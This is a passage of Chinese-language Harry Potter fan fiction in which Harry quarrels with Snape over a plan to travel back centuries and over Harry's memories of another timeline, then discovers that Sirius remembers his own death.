“是的,里面的东西太危险了。”哈利胡乱点点头,把怀表递过去,手指在黑色那块上停留了一下。给他这个的人刚刚逃也似的离开了。 “而且我有个想法,”他继续说,努力让自己专注于眼前的事,“还很模糊。也许……我们能利用它们做点什么。” “明天再谈如何?”邓布利多理解地点点头,“你需要休息。你们都需要。” 詹姆斯和莉莉也准备离开了。莉莉走过来抱住哈利,“保重好自己,亲爱的。我们很想多陪陪你,但黛西还在巴希达那里——你知道的,这么晚了我们必须去接她回家。”她稍稍退开,看着哈利的眼睛,“有什么事记得给我们写信,好吗?” “我知道,妈妈。”哈利理解地回抱她,“去吧,别让黛西等太久。” “我们就在家里。随时都可以来找我们。”詹姆斯走过来拍拍他的肩膀,“晚安,儿子。” 小天狼星也来拍了下他的肩膀,刻意压低声音说,“明天来我那儿吃午饭?”他看了邓布利多一眼,“安静点的地方,适合聊天。” 说完,不等哈利回复,他就和波特夫妇一起离开了。 “泰迪需要回宿舍了。”卢平搀着有些迷糊的儿子,“晚安,哈利,阿不思。” 泰迪打着哈欠,还不忘回头对哈利眨眨眼,用口型说了句“明天”。 很快,办公室里只剩下哈利和邓布利多。 “哈利,”邓布利多温和地问,“你看上去好像心事重重。” 哈利回过神来,发现自己又在想着斯内普——想着他刚才僵硬的背影,想他说“明天”时的生硬语气。 “我在水晶门里看到了一些记忆,”他咬了咬嘴唇,迟疑片刻才说,“不只是四兄妹的,还有我自己的。是被我遗忘了很久的东西。” “啊。”邓布利多只发出这一个音节,等待着他继续。 “是关于……”哈利停顿了一下,“另一个时间线的事。我以为它已经过去了,但现在,一切又都回来了。” “我明白的,”邓布利多目光温和,“有时候,记忆会在最意外的时刻回来找我们。就像老朋友突然造访,让我们既惊喜又不知所措。” 哈利凝视着老人的蓝眼睛,突然有种想要倾诉的冲动。如果是在过去,他会找罗恩和赫敏,三个人窝在他家的沙发上,一边喝黄油啤酒一边讨论到深夜。可现在……这里没有他们。 这个认知让他感到一阵奇怪的孤独。他有了父母,有了教父,还有了恋人,却失去了那两个最懂他的朋友。 “我只是需要点时间整理一下。”他最后说,把那些无处诉说的困惑咽了回去。 “当然。”邓布利多点点头,“有时候,当过去和现在碰撞,最难的并不是选择,而是如何坦然地面对两者并存。” 哈利抬起头,有些惊讶地看着老人。 “对了,哈利,”邓布利多像是随口一提,“如果你睡不着的话,我注意到地窖的灯光通常会亮到很晚。某位教授有熬夜调制魔药的习惯。” 哈利愣住了:“阿不思,你——” “哦,纯粹是观察。”老人眼里闪着狡黠的光芒,“你知道,当人们试图掩饰什么的时候,往往会让事情变得格外明显。” 哈利的脸瞬间变得有些发烫:“我没有——” “而且你不觉得,”邓布利多愉快地说,“‘明天’来得太慢了吗?尤其是当有些话今晚就该说的时候。” 哈利走到门口,又忍不住回头:“阿不思,你真的什么都看得出来,是吗?” “当然不是。”邓布利多微笑着,“但当两个人都在努力不看对方的时候,反而是最容易被看出来的。晚安,哈利。” 131. 争吵 哈利站在密道里,五分钟过去了,石门就在他眼前,口令却始终卡在喉咙里。 从校长办公室出来后,邓布利多那句“明天来得太慢了”一直在他脑子里打转。老人透过半月形眼镜投来的那一眼,让他觉得自己那点秘密无所遁形。 他本来打算直接去地窖,但低头看到自己一身皱巴巴的衣服——即使只是在意识空间,过去几天的经历也让他觉得浑身都是灰。他转而回了房间,掬了把冷水泼在脸上,又换上了干净的长袍。镜子里依旧是乱糟糟的头发,他眨了眨眼,那些不属于现在的记忆又浮现出来,让他有些恍惚。 现在他站在这里,心里七上八下的。“嗨,我知道你说了明天,但我睡不着”?这话简直蠢得不可思议。 他又自嘲地想,总不能对斯内普说:“抱歉,西弗勒斯,我只是想起了我过去曾爱过一个死去的你,所以一时半会儿没反应过来?” 光是这么想就让他想找个地缝钻进去。他甚至能想象出斯内普那张脸会如何扭曲,然后用最恶毒的词语将他讽刺得体无完肤。 “好吧,哈利·波特,”他在心里给自己打气,“你又不是故意想起那些的。而且他刚才跑得比兔子还快,说不定压根没注意到你哪里不对劲。” 可想起斯内普匆忙离开的背影,哈利又开始不确定了。他当时确实有点……逃避,尤其是斯内普为了保护泰迪还受了伤,自己脑子却都是那块怀表,连关心的话都没多说几句。 哈利烦躁地叹了口气。 “或者他只是累了?”他对着石门自言自语,“对,肯定是累了。谁在意识空间里待了那么久都会累的。我就不该来打扰他,应该让他好好休息——” 密道的石门却吱呀一声,缓缓向内打开了。 斯内普就站在门口,黑色长袍一如既往地扣到领口。壁炉的光从他身后透过来,让他的脸一半在光里,一半在阴影里。 “你打算在那里嘀咕到什么时候?”他的声音听起来也很正常,甚至带着平时的嘲讽。 “我……呃,我在想口令。”哈利刚说完,就恨不得咬掉自己的舌头。 斯内普挑了挑眉:“你自己设的口令。” “对。”哈利硬着头皮走进去,“有时候人会忘记自己设的口令,这很正常。” “毫无疑问。”斯内普转身走回房间,黑袍的下摆拖过地板,“就像你‘正常’地在密道里站了十分钟。” 哈利的脸更红了。 地窖里一切如常。壁炉里的火焰散发着温暖的光芒,斯内普的办公桌上堆着一摞学生论文,墨水的瓶子开着盖,羽毛笔搁在一旁。 这种熟悉的场景让哈利紧绷的神经稍稍放松了一些。他偷偷打量着重新坐回桌前的斯内普,小心翼翼地走了过去。 “你还在批改作业?”哈利忍不住问,“在回廊里折腾了那么久,你不累吗?” “意识空间里的疲劳不会影响身体。”斯内普拿起羽毛笔,眼神没从论文上抬起,“况且这些蠢材的作业不会自己批改。” 哈利在他身边的椅子上坐下,看着他在论文上留下一个个评语。斯内普的侧脸在烛光下显得有些苍白,垂下的黑发偶尔被他不耐烦地拨到耳后。额角那道伤口已经消失,连一丝痕迹也不留。 一切都很正常。正常得让哈利开始怀疑是不是自己想多了。 “盯着我做什么?”斯内普突然开口。 哈利这才发现自己一直在看他。两个时空的记忆开始重叠,曾经那张脸总是带着讥讽,那双眼睛充满了厌恶,除了最后一次——在尖叫棚屋,当一切都太晚的时候。 他用力甩了甩头。那是过去,眼前的这个人才是现在。 “没什么。”哈利站起来,走到斯内普身后,自然地把手搭在他的肩膀上,“我只是觉得我们刚从回廊出来,你应该休息。”他低头看着斯内普在羊皮纸上画了个大大的D,“而不是继续折磨这些可怜的四年级学生。” “如果这些蠢货没有把独角兽角与犰狳胆汁的效用搞混的话。”斯内普的笔尖又划出一个T。 “好吧,那确实有点离谱。”哈利轻轻按了按他的肩膀,能感觉到那里肌肉紧绷,“不过T是不是太狠了?P就够让他们记住教训了。” “我不记得黑魔法防御术教授的职责包括指导魔药成绩评定。”斯内普说着,魔杖却从袖子里滑出来。他盯着那个T看了两秒,然后极不情愿地轻点魔杖,T的横线消失了,弯曲成一个P。“现在你可以闭嘴了。” “当然。”哈利嘴角浮现得逞的笑意。 斯内普翻开下一份论文,沉默了几秒后说:“批改这些垃圾不会让我更累。” 哈利愣了一下,才意识到他还在回应自己最开始说的“你应该休息”。手指稍微用了点力:“可你的肩膀告诉我不是这样。” 斯内普的笔停了一下:“那是因为有人在我批改作业时骚扰我。” “这就叫骚扰?”哈利故意在他耳边说话,温热的呼吸让斯内普微微侧了下头,“我以为这叫关心恋人的身心健康。” “恋人。”斯内普重复这个词,语气中带着一丝莫名的味道。 哈利直接俯身从斯内普的侧后方吻了下去。这个角度略显别扭,但他不在乎。 这本该是个寻常的吻,就像他们之前无数次那样。然而斯内普愣住了,握着羽毛笔的手停在半空,墨水顺着笔尖往下滴落。 哈利感觉到身下的人完全僵硬着,手没有像往常一样环上他,也没有热情的回应。他心里一沉,准备直起身—— 斯内普忽然转过身,一把拉住他的领子,将他拽下来。哈利被拽得踉跄,斯内普却不给他站稳的机会,动作又急又凶。哈利只能扶住椅背保持平衡,被亲得有些喘不过气来。 那个吻太用力了。斯内普的手指紧抓着他的衣领,勒得哈利有点难受。但斯内普还在继续,呼吸粗重地掠过他的唇角。 哈利试图跟上他的节奏,却发现斯内普急切得根本没有节奏可言。这不像他们平时的亲吻——那些或温柔或挑逗的时刻,更像是斯内普在迫切地确认着什么。 终于,斯内普松开了他。两人都在喘着气。 哈利直起身看着他。斯内普的黑发凌乱地垂在脸侧,他垂下眼睛转回去重新面对书桌。 “怎么了?”哈利皱起眉。 “没什么。”斯内普的回答太快了。 “你知道我在说什么。”哈利揉着脖子绕到桌子前面,双手撑在桌沿,“出什么事了吗?” “没有任何事。”斯内普低下头继续批改作业。 “西弗勒斯,”哈利伸手按住他握笔的手,“看着我。” 斯内普抬起眼,那眼神让哈利心里咯噔了一下。 “为什么会有事?因为某人的判断力显然还停留在回廊里?”斯内普抽回手,“现在,如果你不介意的话,我还有二十份作业要批。” 哈利张了张嘴,但看着对方低头继续批改,连眼皮都不抬一下,他把到嘴边的话咽了回去。说到底,一想起在回廊里看到的那些记忆,他就有些莫名的心虚。 “好吧好吧,”他放弃追问,叹了口气退回到旁边的椅子上,“不过,在别人的记忆里转来转去,感觉确实不太好。” 斯内普的笔又停了。 “水晶门?”他的语气听起来漫不经心,“你在里面找到了什么?” 哈利的神经紧绷了一瞬,又觉得自己反应过度——毕竟斯内普什么都不知道。这个问题很正常,他们确实该讨论这个。“我在里面找了很久,真正属于四兄妹的记忆很少,而且都像是被故意打碎了,非常混乱。” “没有任何有用的信息?”斯内普放下笔,转过椅子面对他。 “关于时间圣器的信息确实不多。”哈利轻声叹气,“米拉之镜是我父母发现的,至于阿克瑞斯之瓶,到现在都毫无头绪。”他摊开手,“更别提找到摧毁它们的方法。” 斯内普沉思片刻,“看来格林德沃的猜测可能是错误的,冥想回廊并非万能。” “不,我想线索还是有的。”哈利向前倾身,“只不过不在那些记忆里。” 斯内普挑起眉毛,示意他继续。 “我打算直接去问他们。” “问谁?”斯内普的困惑一闪而过,随即明白过来,“你是说四兄妹?他们至少是几百年前的人物。” 哈利耸耸肩,“我知道。” “那你打算怎么问?”斯内普另一边眉毛也扬起来了,“除非你打算学黑魔法召唤亡灵。” “不。”哈利打断了他,“我要回到他们的时代。” 地窖里安静了几秒,只剩壁炉里火焰舔舐木柴的轻微声响。 “你再重复一遍?”斯内普轻声说。 “我要回到几百年前,找到四兄妹,然后当面问他们。” 斯内普的表情很奇怪,像是在努力理解哈利刚才说的话。可下一秒他的脸色就彻底变了,一下子站了起来,抓住哈利的手臂,力道大得让哈利倒吸一口凉气。 “你要回到过去?”他的语气变得冰冷而危险,“你疯了吗?” “西弗勒斯,你抓疼我了!”哈利疼得眉头紧蹙。 斯内普的手指反而收得更紧,脸凑近到哈利能看清他眼里的血丝,“你知道自己在说什么吗?几百年前!你要用什么方法回去?除非——”他的脸色骤然一变,“时间圣器!你想用那些该死的圣器!” “你听我说完——” “听你说怎么用那些连格林德沃都无法完全掌控的东西,回到几百年前去送死?”斯内普松开他,却没有后退,反而越逼越近,将哈利压得几乎贴上桌子。 “我不是去送死!”哈利揉着被抓痛的手臂。 “你连时间圣器的原理都不完全清楚,就敢用它们穿越几百年?”斯内普讥讽地看着他,“这和送死有什么区别?” “因为我在记忆里看到了我自己!”哈利不自觉提高了音量,“在四兄妹的记忆碎片里,我看到了我自己,和他们一起,就在几百年前!所以我必须回去,这就是历史,这注定会发生的!” 斯内普停住了,眉头紧皱,黑眼睛盯着哈利,显然完全无法理解他刚才的话。 哈利苦笑了一下,“我当时和你一样震惊,但我很确定自己没看错。”他拉住斯内普的手,“坐下吧,冷静点,听我解释。” 斯内普瞪着他,最终还是被拉回椅子上。他的手反过来攥着哈利的手腕,仿佛一松开,哈利就会消失。 “我三年级的时候用过时间转换器,”哈利开始低声讲述,“和赫敏一起回到了几个小时前,救了巴克比克——它是一头鹰嘴马身兽——还有小天狼星。” 听到小天狼星的名字,斯内普发出一声不屑的哼声。 哈利没有理会,继续说:“重点是,我们没有改变任何历史,我们本来就是历史的一部分。我们救了他们,但那是因为我们注定要这么做,我们只是完成了这段历史。” “哦,真是高明的逻辑。”斯内普嗤笑着挑起一边眉毛,“但那不过是几小时的事,你现在说的是几百年。你能保证回到几百年前,也能‘成为历史的一部分’,而不是一脚踏进去,搞得一团乱,让一切都面目全非吗?” 他停顿了几秒,又冷冷补充道:“或者你该看看你自己?还需要我提醒你,你的出现改变了什么吗?” 哈利闭了闭眼,苦涩地说:“我回到这里,不是我能控制的。” “说得好像你这次就可以控制一样,”斯内普语气越来越冷,“还是你认为自己能随心所欲地操控时间圣器?” “这次不一样,我知道该怎么做!”哈利仍然坚持,“我会小心的。” “小心?”斯内普的眼神在那一刻让哈利一阵发毛,“就像你去冈特老宅时说的那样?你这种‘小心’,我早就见识过了。” 哈利一时语塞。那次确实差点出事,要不是小天狼星及时赶到…… “那不一样。”他急忙辩解,“这次我会做好准备。” “说来听听,”斯内普还是在冷笑,“你打算去找格林德沃,让那个第一代黑魔王教你怎么使用时间圣器?” “他确实比任何人都了解——” “他了解的,是操纵和欺骗。一个被困了几十年的疯子,突然出现,主动提供帮助。多么可靠的同伴。而你就这么相信他?” “他没有理由骗我。” “没有理由?”斯内普又一次站起身,居高临下地看着哈利,“也许他只是需要一个傻瓜去替他冒险。等你把圣器找齐了,他就能坐享其成。你认识他多久?一天?就因为他给了你一本童话书,你就把命交给他?真是典型的格兰芬多式愚蠢。” “至少他不会站在这里质疑一切!”哈利也跟着站了起来,嗓子眼里都冒着火气,“我说了,我在记忆里看到了自己!这就证明我成功了——” “或者证明你失败了。”斯内普眯起眼睛,“也许你被困在了过去,成为了那些破碎记忆的一部分,永远回不来。或者更糟——你改变了什么,导致这个现实不复存在。你考虑过后果吗?还是救世主从不需要考虑后果?” 这个可能性让哈利呆愣了片刻。 斯内普似乎察觉到了他的动摇,语气压得更低,“显然,救世主波特从来不需要考虑别人的感受。不说你的父母和你那疯狗一样的教父。泰迪·卢平,你的教子,你打算再一次丢下他?就像他父母那样?” “别把泰迪扯进来!”哈利浑身都在发抖,“你知道那不一样!” “哦,当然不一样。”斯内普面无表情地说,“他父母是为了崇高的事业牺牲,而你不过是为了满足好奇心。” “你就这么不相信我?你觉得我只是……好玩?”哈利感到一阵挫败。 “我只是不相信命运。”斯内普说,“更不相信什么注定。唯一确定的是,每次你说不会有事的时候,结果总是事与愿违。” “那你有更好的办法吗?”哈利也来了火气,“坐在这里等着世界崩塌?假装什么都不知道?” “至少不会让你……凭空消失。” “我不会消失的!”哈利吼道,“你为什么就不能相信我的判断?” “说到判断,”斯内普脸上满是讥讽,“你打算告诉你父母吗?” 哈利沉默了。 “不出意料。”斯内普摇头,“你那个疯狗教父?你的教子?” “他们已经承受了太多,我不想让他们担心。听我说,西弗勒斯——”哈利急切地解释,“我回去一趟,把问题问清楚。一秒也不耽搁,马上回来。时间不会改变,没人会知道我回去过!一切都会很完美!” “哦?那在你的完美计划里,“斯内普完全不理会他的解释,一字一顿地说,“我在哪里?还是说,你从来没有考虑过?你从头到尾说的都是,你要一个人回到几百年前。不包括我。” 哈利避开他的视线:“我在记忆里只看到了我自己。” “所以?” “所以只有我能去。”哈利的声音很小,“如果带上其他人,可能会改变——” “这就是你的回答,‘其他人’。”斯内普似乎一点也不意外,“我既不是你的家人,也没那么重要。你当我是什么?你床上的消遣?哦,当然,一开始就是这样。你只需要一个人填补你的寂寞,谁都行,我只是恰好在旁边。” “西弗勒斯!”哈利震惊地看着他,“你怎么能这么想?” “那就要问问伟大的哈利·波特了。”斯内普逼近一步,“如果不是我问起,你是不是连提都不会提?就这样悄悄消失,等你回来,再若无其事地出现?” “我现在不是在跟你商量吗?” “在我逼问之下。”斯内普讥笑道,“真是荣幸。你已经决定了,不是吗?你只是在通知我。” 哈利感觉一切正在失控:“听着,我不是故意排除你,只是记忆里只有我一个人。如果你和我一起去,可能反而会改变历史!” “当然不是故意。”斯内普退后几步,拉开距离,“你不过是习惯性地忽略我的存在。毕竟,救世主哈利·波特总是一个人承担一切,不需要任何人。” “ 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“去年圣诞节,你昏迷不醒,”斯内普的黑眼睛深不见底,“那只凤凰非要我进去找你。我进了那扇水晶门,看到了所有——你对一个死人的执念。” 哈利感觉腿突然失去了支撑力:“你看到了……” “那扇门很有意思,”斯内普继续说,“‘记忆潮汐’,对吧?你说过的,守护者可以把最珍贵的记忆放在那里。” “西弗勒斯——” “你为他奔走了多少年?三年?四年?真是令人感动的坚持。为了一个死人的名誉,不惜承受嘲笑和质疑。但你从未放弃,不是吗?” 血液瞬间冲上了哈利的头顶。羞耻、愤怒、还有那种被剥光了秘密的恐惧同时爆发:“你看了我的记忆?你——你怎么敢——” “是为了救你的命。”斯内普冷淡地回应,“不过现在看来,我真是多管闲事。” “所以你就可以随意翻看?”哈利的声音变得尖锐,那种羞耻感让他几乎说不出话来,“那些是私人的!梅林啊,你看到了所有——” “很抱歉我看到了,”斯内普的语气依旧恶劣,“我怎么知道,那会是你最珍贵的回忆?不过确实,很有教育意义。原来伟大的哈利·波特也会为了一个死人——” “闭嘴。”哈利的声音在发抖。 “为什么?”斯内普毫不退让,“因为真相太难听?你爱上了一个死去的人,一个永远不可能回应你的人。现在,你把这份感情转移到我身上。方便,真是方便。” “不——”哈利咬牙站起,“不是你想的那样!” “告诉我是怎样的。”斯内普脸上的表情扭曲着,“告诉我当你吻我的时候,你想的是谁?” “是你!”哈利几乎咆哮,“我想的是你!” “哪个我?” “没有哪个!”哈利痛苦地抓住自己的头发,“梅林啊,你为什么要这样想?你们是同一个人!” “同一个人?”斯内普冷笑,“很抱歉让你失望,我可没有为你流尽最后一滴血。” 哈利知道斯内普总能找到最伤人的话,而对方毫不犹豫地说了。他一直以来的噩梦,永远无法摆脱的愧疚,就这样被斯内普当作武器扔到他脸上。 这让他的怒火彻底爆发,“你根本不懂!你知道看着一个人在你面前死去是什么感觉吗?那种愧疚,它会跟着你,永远跟着你!” “是的,很遗憾我没能给你同样的体验。”斯内普冰冷地回应,“因为我还活着。多么遗憾,对吧?” “你怎么能这么说?”哈利不敢置信地看着他,“你明知道我不是那个意思!” “这不就是你想要的吗?”斯内普露出一个扭曲的笑容,“一个悲剧英雄,能让你愧疚一辈子。而我不过是个拙劣的替代品。” 他的声音突然变得苦涩:“我甚至在黑魔王面前对你施过钻心咒,就在没多久前。” 哈利感觉喉咙被堵住了,“那不是你的错!” “不是吗?”斯内普后退一步,眼睛里全是自嘲,“或者这就是区别所在?他为你而死,而我只能伤害你。” “够了!”哈利冲上前抓住他的手。斯内普的手冰得吓人,他想要挣脱,但哈利死死抓着不放,“西弗勒斯,你听我说——” “你既然看过我的记忆,”哈利强迫自己冷静下来,“应该知道我为什么要封存它们。如果我只想找个替代品,我为什么要选择忘记?我完全忘记了这一切,西弗勒斯。我什么都不记得了,可还是爱上了你。这还不够说明问题吗?” 斯内普愣了一下,很快又恢复了冷硬的神色,“说明什么?说明你有特定的品味?黑头发,鹰钩鼻,刻薄的性格?” “去你的品味!”哈利彻底失去了耐心,刚被压下的怒火又起来了。他用力拉着斯内普的手,力气大得让对方皱了下眉。 “我爱的是那个会跟我斗嘴的混蛋,那个明明担心还要装作不在乎的别扭鬼,是那个能在凌晨一点陪我说话的人!” “当然,你也没有更好的选择。”斯内普甩开他的手,冷漠地说,“毕竟,我可没有为你牺牲什么。” “没有什么更好的!你就是你!”哈利又抓回他的手,嗓子都破了音,“我不需要你为我牺牲什么,我已经看够了死亡!我就想要你能跟我说话,在我冲动的时候翻个白眼也好,能……能吻我!” “多么令人感动。”斯内普恢复了那种令人不寒而栗的平静,“所以,我的优点就是还活着。” “不是——梅林啊,你为什么要这样理解?” “因为这就是事实。” “这不是事实!”哈利就快要崩溃了,他完全不理解为什么斯内普总能从最糟糕的角度看待这一切。 “你到底想要什么,西弗勒斯?你一直在指责我,好像我是个混蛋,同时爱上了两个人,然后分不清你们的区别?” “那你呢?”哈利突然想起什么,“你就没有隐瞒吗?你圣诞节就知道了,对吧?知道了几个月,看着我像个傻瓜,以为自己是第一次爱上你,是不是觉得很可笑?你明明知道,却装作若无其事,什么都不说。” “装作若无其事?”斯内普低声说,“你以为很容易吗?看着你对我做那些事,心里一直在想——当你恢复记忆的那一天,你会怎么做?” “我不明白你想说什么。”哈利摇着头。 “意思是,”斯内普慢慢抽出手,转过身背对着他,“我一直在等。等你想起来的那一天,等你意识到你爱的从来不是我,而是另一个——”他停顿了一下,“一个为你而死的英雄。至于我?我只是个恰好长着同样面孔的人。” “可我现在记起来了,西弗勒斯!”哈利冲上前,绕到他面前,“我都想起来了!我爱的就是你!” 斯内普凝视着他,“那你就别去。”他突然说道,“留下来。” “可是我必须去!”哈利痛苦地说,“我想我已经解释得够清楚了!这关系到整个世界。” “你看,”斯内普扯出一个难看的笑容,慢慢后退,“永远都有更重要的东西,不是吗?世界,命运,救世主的使命。” “你知道不是这样——” “我知道的是,”他转身走向门口,每一步都在拉开他们之间的距离,“你会一次次地选择离开,为了拯救世界,为了任何听起来足够崇高的理由。就像你选择遗忘那些记忆一样——因为总有更重要的事。” 哈利站在那里,不知道该说什么。他今晚过来,明明是想告诉斯内普自己有多在乎他。到底是哪里出问题了? “西弗勒斯,我……”他放软了语气,几乎在恳求,“我们好好谈谈,可以吗?你得给我一个解释的机会。” 斯内普看都不看他,手已经放在门把手上,“那就等你从几百年前回来再说吧——如果你还能回来。现在,离开我的地窖。” 他拉开门,冷风灌了进来。 “去找你的格林德沃吧,去你几百年前的冒险。反正你要的人——” “从来都不是我。” 132. 坦白 哈利坐在峡谷之屋客厅的沙发上,有一口没一口地喝着手里那杯散发着香甜气息的黄油啤酒。温热的液体顺着喉咙滑下,稍稍平息了堵在胸口的郁气。 小天狼星将杯子递给他后,就坐进对面的扶手椅里,那双灰色的眼睛关切地注视着他。夜已经很深了,窗外一片漆黑。一个小时前,哈利用飞路网闯进了客厅里,直接把在楼上的小天狼星从睡梦中惊醒。而他的教父甚至连眉毛都没皱一下,只是让他坐下,转身进厨房给他倒了点热饮。 “出什么事了?”或许是见哈利整个人冷静了不少,小天狼星终于开口问,“我记得约的是明天中午。你大半夜跑来,别告诉我只是睡不着。” 哈利的耳朵发烫。一进屋他就意识到自己有多冒失——招呼都不打一声就跑过来,还把小天狼星都吵醒了。 可他该怎么解释?说自己刚被斯内普扫地出门,回去后一气之下把密道口令都改成了“蝙蝠精滚蛋”?真是幼稚透顶。但当时他真是气疯了。西弗勒斯·斯内普,那个混账,根本不给任何解释的机会,就认定他是在玩弄感情。 他在房间里转了不知多少圈,越想越委屈,越想越气,最后突然想起小天狼星约他有事要谈。于是他一拍脑袋,就这么冲了过来。 “只是……有些事想不通,在房间里待不下去。”哈利含糊地说,低头盯着杯中的泡沫一个个消失。“抱歉,我应该先问问你的。” “别说傻话。”小天狼星起身走过来,在他身边坐下,随手把他那头乱糟糟的头发揉得更乱。那动作粗鲁又温柔,像是在安抚一只炸毛的小狮子。 “这也是你的家,哈利。”他说话时声音低了些,“想回来就回来,不用问我。” 哈利鼻子有点发酸。“我总是给你添麻烦。” “谁叫我是你教父?”小天狼星咧嘴一笑,但笑容很快淡了。 哈利抬头去看他。明明是熟悉的玩笑话,却不知为什么,听起来像是换了语气。他和那双灰眼睛对视了几秒,没看出什么更多的,便移开目光,又喝了一口啤酒。 一时间两人都没再说话。窗外峡谷的风声低沉而遥远,偶尔传来一两声猫头鹰的叫声。 哈利放下杯子,决定先开口,“小天狼星,你之前说要和我谈谈。是关于那扇门里的事吗?你进去后,到底看到了什么?” 小天狼星没有马上回答,反而端起自己的酒杯,喝了一大口,然后盯着杯中琥珀色的液体,好一会儿没有出声。 “你和邓布利多进的是同一扇门。”哈利继续说,小心观察着他的反应,“可偏偏就你们两个,谁都不肯提起门后的事。” “是吗?”小天狼星似乎有些恍惚,“果然他也进了那扇门。” “那扇门有什么特别的?”哈利好奇地问。 “不是门的问题。”小天狼星摇了摇头,抬手揉了把脸,“只是那扇门……太容易沉浸在里面。时间久了,你就分不清哪个是真的,哪个是假的……甚至会不想出来了。” 哈利皱起眉。他想起福克斯说过,那扇“未竟之痕”会记录未被选择的命运。他隐隐有个猜测,也许小天狼星和邓布利多,都在那里看到了另一种人生。 他没有追问下去。这种事太私密,就像他自己,也不愿对任何人提起水晶门后的记忆。尤其是在斯内普看了个一干二净后,还拿来对他冷嘲热讽——那感觉简直糟透了。 一想到斯内普,胸口那股闷气又开始堵得慌。他知道自己也有错,本该站在对方立场多想一想。无论是回到过去的计划,还是那些藏了太久的感情,他确实太轻率了。但就算如此,斯内普也不该什么都不听就把他赶出去。 “哈利。”小天狼星的声音把他拉回来,“你还记得……我跟你提过我弟弟的事吗?” “什么?谁?”哈利还在想斯内普,一时没反应过来。 “雷古勒斯,”小天狼星低声说,“雷古勒斯·阿克图勒斯·布莱克,我弟弟。我应该跟你说过,他加入了食死徒,后来……可能是想退出。可你知道,食死徒可没有辞职这一说,所以他应该是被杀了。” 哈利有些意外地盯着小天狼星,隐隐明白过来:难道他在门后,看到了雷古勒斯? “你……在门后遇到了他?”他试探地问。 小天狼星的身体明显僵了一下。他没有否认,只是盯着手中的杯子,像在那里能找到什么答案。 过了一会儿,他才仿佛若无其事地开口:“我就是想问问……你有没有听说过他的事?如果不知道也没关系,反正他只是个——” “我知道。”哈利肯定地说。 小天狼星猛然抬起头,那双灰色的眼睛里闪过一抹迟疑——像是期待,又像是害怕。 哈利看着他的神情,想起之前在地下室看到的那张照片——两兄弟并肩而立,隔着一定距离,谁都没有看对方。他本想找机会把真相告诉小天狼星,但一直没来得及。现在倒是个机会。 他斟酌着开口:“关于雷古勒斯,我确实知道一些。他……不是想退出。他背叛了伏地魔。” 小天狼星把杯子捏得更紧了。 于是哈利把那段被埋藏了十几年的真相,原原本本地讲了出来。从假挂坠盒上的“R.A.B.”署名开始,他讲述了雷古勒斯如何发现了魂器的秘密,又怎么带着克利切潜入洞穴,喝下那些可怕的药水,用一个假的挂坠盒替换了真品,并命令克利切带着真的魂器逃走,自己则被阴尸拖入了湖底。 “真正的挂坠盒一直在克利切手上。”哈利最后说,“我和邓布利多去找它拿了回来。伏地魔……拿到的是假的。” 小天狼星好半天没出声。他的视线落在壁炉上,却像在看别的地方。 “原来是这样。”过了好一会儿他才抬起头,眼睛有些发红,“我一直觉得他太软弱了,根本没有胆子反抗父母的安排。” “他比任何人想象的都要勇敢。”哈利低声说。 小天狼星抬手,用手背随意擦了把脸:“如果我当初能多关心他一点……我们一毕业就断了联系……” “这不是你的错。”哈利说,“你们只是走上了不同的战场。”他靠回沙发,“我一直想告诉你这些。我想你应该知道,你弟弟雷古勒斯,是个真正的英雄。” “现在知道也不晚。”小天狼星轻声说,“谢谢你告诉我这些。” “还有克利切。”哈利接着说,“我知道你讨厌它,它确实很难相处。但它对雷古勒斯很忠诚。在最后的战斗中,它带着家养小精灵们一同参战。是为了雷古勒斯。” 小天狼星沉默了几秒:“那个小精灵……我一直不喜欢它,它总让我想起布莱克家那些纯血统至上的疯狂。” 哈利提议道:“要不哪天我陪你去见见它?” 小天狼星看着他,眼神里带着点说不清的意味:“你对克利切倒是挺关心的。他有乖乖听你使唤吗?” 哈利随口答道:“哦,他可不会放过任何一个阴阳怪气我的机会。但当时邓布利多确实担心格里莫广场会落到别人手里,所以才——” 他突然停住了。 克利切只会听从布莱克家族血脉的命令。而他能命令克利切,是因为他继承了格里莫广场十二号。可那是在—— 小天狼星死后。 哈利的心脏剧烈跳动起来。那个他不敢奢望、只能深藏在心底的念头,又疯狂地冒了出来。 这里的小天狼星,记忆碎片零零散散,他唯一知道的就是自己死了。他多少年没回过格里莫广场十二号,怎么可能想到死后会把它留给哈利?怎么会对哈利继承这件事如此理所当然? 还有,他刚刚就觉得有点奇怪,这里的小天狼星和他提到过雷古勒斯吗?除非—— 他抬起头去看小天狼星。 那双灰眼睛正望着他,带着几分不解,却也不避让,里面流露出的疲惫与忧郁,和他记忆里那个在阿兹卡班熬过十二年、在幽暗宅邸度日如年的人一模一样。 这一刻,两个小天狼星重合了。 “小天狼星,你……”哈利开口,却发现嗓子干得厉害,“你到底……你是不是……” 小天狼星放下杯子,没有急着回答。 “我本来还在想怎么告诉你。”他苦笑了一下,“当然,我肯定是要告诉你的。只是……两边的记忆合在一起后,我也知道了我的死对你造成了什么。” 哈利张了张嘴,什么也说不出来。他能听见自己耳朵里血液轰鸣的声音。 “我掉进了那道拱门,哈利。”小天狼星声音不大,却让哈利浑身一震,“帷幔后面到处都是那些细碎的低语,来自另一边的声音。我知道自己要死了。” “这不可能。”哈利浑身都开始抖,“你明明——” “其实也没什么遗憾。”小天狼星平静地说,“詹姆斯和莉莉死的那一刻起,我就不在乎了。我宁愿战死,也不想窝囊地藏在后面。如果不是后来——” 他看着哈利,眼里全是歉意:“我很抱歉,哈利。我从没考虑过你会怎么面对这一切。但至少……我记得把房子和遗产都留给你。” “你知道我根本不想要那些。”哈利摇着头,眼眶瞬间变得火辣辣的。 “我知道。”小天狼星叹了口气,烦躁地抓了把头发,“当时只想着,不能让它们落到别人手里。我以为自己考虑周全了。” 哈利不知道该怎么回应。他曾多少次在梦里看到小天狼星从那道帷幔后走出来。回到这个时代后,发现小天狼星还活着,却没有记忆,说不失落是假的。后来小天狼星承认有记忆碎片,他又燃起希望,可终究不一样。 直到现在—— 小天狼星伸出手,揽住了他的肩。 “我回来了,哈利。”他说。 哈利再也忍不住了。他扑过去死死抱住小天狼星,而小天狼星也回抱住他,手掌一下一下拍在他背上。 “怎么可能?”哈利埋着脸闷闷地说,“你是怎么回来的?我和泰迪是被拉回来的,可你……” “我也不知道。”小天狼星诚实地说,“可能真的死过一回。然后我突然又有了意识,醒来时就在门的另一边。在那个世界……一切都不一样。我花了很久才想起自己是谁。” 他停了一会儿,好像短暂陷入那段记忆。 “直到从那扇门走出来,看见你们,两边的记忆一下子都回来了。” 哈利抬起头:“所以你现在是——” 